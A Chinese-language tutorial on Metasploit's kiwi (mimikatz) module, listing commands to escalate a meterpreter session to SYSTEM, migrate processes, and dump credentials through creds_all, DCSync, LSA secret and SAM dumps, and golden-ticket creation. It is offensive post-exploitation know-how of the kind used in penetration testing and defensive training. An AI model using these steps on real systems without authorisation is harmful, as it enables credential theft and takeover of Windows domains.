-
一、简介：
-
kiwi模块：
- mimikatz模块已经合并为kiwi模块；使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。
-
-
二、前提：
-
1. 提权到system权限
- 当前权限是administrator用户
- 若不是，需要利用其他手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令 getsystem 提权到 system权限。
- 命令：
- getuid #查看当前会话用户身份
- getsystem #自动尝试提权
-
2. 进程迁移
- kiwi模块同时支持32位和64位的系统，但是该模块默认是加载32位的系统，所以如果目标主机是64位系统的话，直接默认加载该模块会导致很多功能无法使用。
- 所以如果目标系统是64位的，则必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载kiwi并且查看系统明文。如果目标系统是32位的，则没有这个限制。
- 查看当前系统信息，发现目标系统位64位 sysinfo
- 查看进程信息 ps
- 把进程迁移到PID为504这个程序中， migrate [PID]
- 注：因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
-
-
三、kiwi模块的使用
- load kiwi #加载kiwi模块
- help kiwi #查看kiwi模块的使用
-
一些有关密码和凭据的命令：
- creds_all： #列举所有凭据
- creds_kerberos： #列举所有kerberos凭据
- creds_msv： #列举所有msv凭据
- creds_ssp： #列举所有ssp凭据
- creds_tspkg： #列举所有tspkg凭据
- creds_wdigest： #列举所有wdigest凭据
- dcsync： #通过DCSync检索用户帐户信息
- dcsync_ntlm： #通过DCSync检索用户帐户NTLM散列、SID和RID
- golden_ticket_create： #创建黄金票据
- kerberos_ticket_list： #列举kerberos票据
- kerberos_ticket_purge： #清除kerberos票据
- kerberos_ticket_use： #使用kerberos票据
- kiwi_cmd： #执行mimikatz的命令,后面接mimikatz.exe的命令
- lsa_dump_sam： #dump出lsa的SAM
- lsa_dump_secrets： #dump出lsa的密文
- password_change： #修改密码
- wifi_list： #列出当前用户的wifi配置文件
- wifi_list_shared： #列出共享wifi配置文件/编码
-
-
-
1、creds_all
- 该命令可以列举系统中的明文密码
-
-
-
2、kiwi_cmd
- kiwi_cmd 模块可以让我们使用mimikatz的全部功能，该命令后面接 mimikatz.exe 的命令
-
